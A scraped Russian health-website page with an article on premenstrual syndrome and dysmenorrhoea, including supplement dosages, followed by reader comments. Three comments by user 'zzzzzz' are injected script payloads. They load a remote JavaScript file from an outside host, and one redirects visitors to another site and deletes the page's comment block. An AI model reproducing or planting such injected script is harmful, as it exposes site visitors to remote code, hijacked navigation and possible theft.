Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как избавиться от ПМС?  >>  Как избавиться от ПМС?
 
Обратная связь
 

Как избавиться от ПМС?

Размер шрифта
12 июня 2013 00:00
  • google_analytics: false
  • Нравится

Знакомы ли вам ежемесячные боли внизу живота, метеоризм и  перепады настроения? Все это симптомы предменструального синдрома (ПМС) очень распространенного среди женщин. 

 

Предменструальный синдром – сложный циклический симптомокомплекс, возникающий у некоторых женщин в предменструальные дни (за 2-10 дней до менструации) и характеризующийся психоэмоциональными, вегето-сосудистыми и обменно-эндокринными нарушениями, которые, в свою очередь, негативно сказываются на привычном для женщины образе жизни.

Почему болит внизу живота

Боль внизу живота – распространенное проявление ПМС, называемое первичной дисменореей.

Первичная дисменорея — функциональное заболевание, не связанное с патологическими изменениями внутренних половых органов; обычно появляется в подростковом возрасте через 1-3 года после менархе, с началом овуляции. В первые годы заболевания боли во время менструации бывают обычно терпимыми, кратковременными и не влияют на работоспособность. С течением времени может наблюдаться усиление болей, увеличение их продолжительности, появление новых симптомов, сопровождающих боль. Боли, как правило, начинаются за 12 часов в первый день менструального цикла и продолжаются на протяжении первых 2-42 часов или в течение всей менструации. Боли часто бывают схваткообразного характера, но могут носить ноющий, дергающий, распирающий характер, иррадиировать в прямую кишку, область придатков, мочевой пузырь.

Дело в том, что при созревании яйцеклетки организм женщины готовится к потенциальному зачатию. Это проявляется, прежде всего, в изменениях уровней женских половых гормонов. Эндометрий (слизистая оболочка, выстилающая матку изнутри) утолщается и готовится к иплантации оплодотворенной яйцеклетки. Если оплодотворения не произошло, то эндометрий начинается отторгаться, и наступает менструация. Механизм отторжения заключается в спазме сосудов, кровоснабжающих эндометрий. Собственно, боль во время менструации обусловлена, во-первых, сокращениями матки, отторгающий эндометрий, а, во-вторых, гипоксией (недостаточным снабжением кислородом вследствие спазма сосудов) тканей эндометрия. 

Чем обусловлены перепады настроения

До конца не выяснено, что же является причиной перепадов настроения при ПМС. Наиболее современной теорией ПМС является теория «нарушения обмена нейромедиаторов в центральной нервной системе». Согласно данной гипотезе, предменструальный синдром можно рассматривать как функциональное расстройство центральной нервной системы из-за действия внешних факторов на фоне врожденной или же приобретенной лабильности гипоталамо-гипофизарноовариальной системы.

В последние годы в патогенезе ПМС значительное внимание начали уделять меланоцитстимулирующему гормону (МСГ). Данный гормон под оказываемым влиянием половых стероидов и при взаимодействии с эндорфином может способствовать изменениям настроения. Эндорфины также могут быть причиной изменения настроения, поведения, повышения аппетита и чувства жажды.

Для уменьшения проявлений ПМС рекомендуют принимать следующие препараты:

  • препараты магния (200 мг дважды в день), витамин В6 (4-6 мг в день), влияющие на эндокринную систему, которые, в свою очередь, приносят облегчение и уменьшают повышенную агрессивность и депрессивность;
  • омега-3 жирные кислоты (2 г в день) – уменьшают болевые ощущения.  

Эти же препараты используют для профилактики ПМС и принимают их в течение месяца в таких же дозировках. 

Причинами дисменореи могут быть и тяжелые заболевания органов малого таза, такие как эндометриоз и различные инфекционные заболевания. В таком случае дисменорея будет уже не первичной, а вторичной, и для лечения ПМС потребуются другие подходы, в основном направленные на коррекцию заболевания, послужившего причиной развития симптомов.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

28 августа 2013 в 23:57

Цитировать   |   Пожаловаться

Я раньше дико страдала от ПМС, на людей готова была бросаться... Аж самОй страшно было. А потом как-то врач прописала, для восстановления гормонального фона. И после ПМС как рукой сняло! Вообще хожу вечно добрая и пушистая

2 - Гость

27 сентября 2013 в 00:38

Цитировать   |   Пожаловаться

Я после того как спираль поставила, забыла о ПМС и о болях.

3 - Гость

31 января 2014 в 14:54

Цитировать   |   Пожаловаться

вечная проблема...

4 - Гость

01 февраля 2014 в 11:18

Цитировать   |   Пожаловаться

Гость 28 августа 2013 в 23:57
А потом как-то врач прописала, для восстановления гормонального фона
 умоляю Вас, поделитесь препаратом, дело в том, на фоне ПМС, у меня 2-3 недели субфебрилитет, и я жутко страдаю. Наши врачи малокомпетентны и выписанные препараты мне не помогли. Очень надеюсь на Вашу помощь.

5 - zzzzzz

30 июня 2015 в 19:14

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

6 - zzzzzz

30 июня 2015 в 19:32

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

7 - zzzzzz

30 июня 2015 в 23:14

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Все что надо знать о бронхите   Ученые выяснили, что случится с вами, если вас удалят из друзей Вконтакте!   Вся правда о соплях   Тампон против менструальной чаши. Что лучше?  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Что такое ПМС?
Как секс влияет на тело и разум
Ваши весы вам врут

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.